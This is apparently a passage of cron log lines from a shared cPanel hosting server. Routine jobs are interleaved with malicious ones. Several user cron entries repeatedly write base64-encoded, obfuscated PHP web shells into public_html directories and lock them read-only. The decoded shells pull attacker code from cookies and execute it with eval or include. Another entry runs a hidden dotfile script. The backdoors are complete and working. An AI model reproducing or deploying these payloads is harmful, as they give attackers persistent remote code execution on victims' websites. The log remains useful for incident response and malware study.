kX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:50:01 medusa CROND[12486]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:50:01 medusa CROND[12495]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:50:01 medusa CROND[12497]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:50:01 medusa CROND[12499]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:50:01 medusa CROND[12506]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:50:01 medusa CROND[12478]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 08:50:01 medusa CROND[12496]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 08:50:01 medusa CROND[12508]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:50:01 medusa CROND[12516]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:50:01 medusa CROND[12501]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 08:50:01 medusa CROND[12505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:50:01 medusa CROND[12502]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 08:50:01 medusa CROND[12500]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 08:50:01 medusa CROND[12491]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 08:51:01 medusa CROND[2329]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:51:01 medusa CROND[2330]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:51:01 medusa CROND[2331]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:51:01 medusa CROND[2332]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:51:01 medusa CROND[2334]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:51:01 medusa CROND[2341]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 08:51:01 medusa CROND[2342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:51:01 medusa CROND[2343]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:51:01 medusa CROND[2344]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 08:51:01 medusa CROND[2345]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 08:51:01 medusa CROND[2347]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:51:01 medusa CROND[2348]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:51:01 medusa CROND[2349]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 08:51:01 medusa CROND[2351]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:51:01 medusa CROND[2352]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:52:02 medusa CROND[23064]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:52:02 medusa CROND[23065]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:52:02 medusa CROND[23066]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:52:02 medusa CROND[23067]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:52:02 medusa CROND[23069]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:52:02 medusa CROND[23072]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:52:02 medusa CROND[23077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:52:02 medusa CROND[23078]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 08:52:02 medusa CROND[23079]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:52:02 medusa CROND[23084]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 